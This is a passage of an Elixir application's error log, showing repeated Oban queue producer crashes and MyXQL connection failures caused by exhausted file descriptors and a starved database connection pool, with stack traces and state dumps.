    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:42:55.239235Z], limit: 3, uuid: "3aad213d-680c-4225-acda-919b187653c3", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:42:55.239240Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.259567>, refresh_timer: #Reference<0.2525715032.1068498948.25766>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:43:07.254000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:43:11.054000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:43:12.662000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:43:19.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1069ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:43:07.238828Z], limit: 10, uuid: "9a676693-d70a-4bc6-b145-77b44344ec9b", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:43:07.238833Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.259948>, refresh_timer: #Reference<0.2525715032.1077411843.259899>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:43:19.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1004ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:43:07.241229Z], limit: 3, uuid: "6b5e88c7-7766-47e2-876d-c5136401797c", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:43:07.241234Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.25928>, refresh_timer: #Reference<0.2525715032.1121189889.134801>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:43:19.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1030ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:43:07.238584Z], limit: 5, uuid: "7340cc1a-c721-4a4a-a065-7d351b78211a", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:43:07.238591Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.259949>, refresh_timer: #Reference<0.2525715032.1077411843.259890>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:43:19.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1029ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:43:07.239047Z], limit: 50, uuid: "62d57524-c0a5-47cd-bb9c-82ceda4f820b", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:43:07.239052Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.25929>, refresh_timer: #Reference<0.2525715032.1077411843.259908>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:43:19.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 826ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:43:07.239719Z], limit: 5, uuid: "857bc2e9-48b0-4c62-a270-7240c03a66dd", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:43:07.239724Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.259950>, refresh_timer: #Reference<0.2525715032.1077411843.259926>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:43:19.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 858ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:43:07.239511Z], limit: 20, uuid: "7681ddc8-653c-40b3-ae14-80740a4cb740", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:43:07.239517Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.25927>, refresh_timer: #Reference<0.2525715032.1068498948.25904>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:43:19.309000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:43:19.946000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:43:21.195000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:43:26.382000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:43:26.954000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:43:28.388000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:43:31.055000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:43:32.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1056ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:43:19.238457Z], limit: 3, uuid: "0dfd5719-4344-4b95-84ec-dfa2af360709", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:43:19.238463Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.27338>, refresh_timer: #Reference<0.2525715032.1121189889.134903>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:43:32.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1092ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:43:19.239228Z], limit: 5, uuid: "71800c52-b91c-4cc3-8150-a057175dc7fc", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:43:19.239234Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.260258>, refresh_timer: #Reference<0.2525715032.1068498948.26047>, dispatch_cooldown: 5, running: 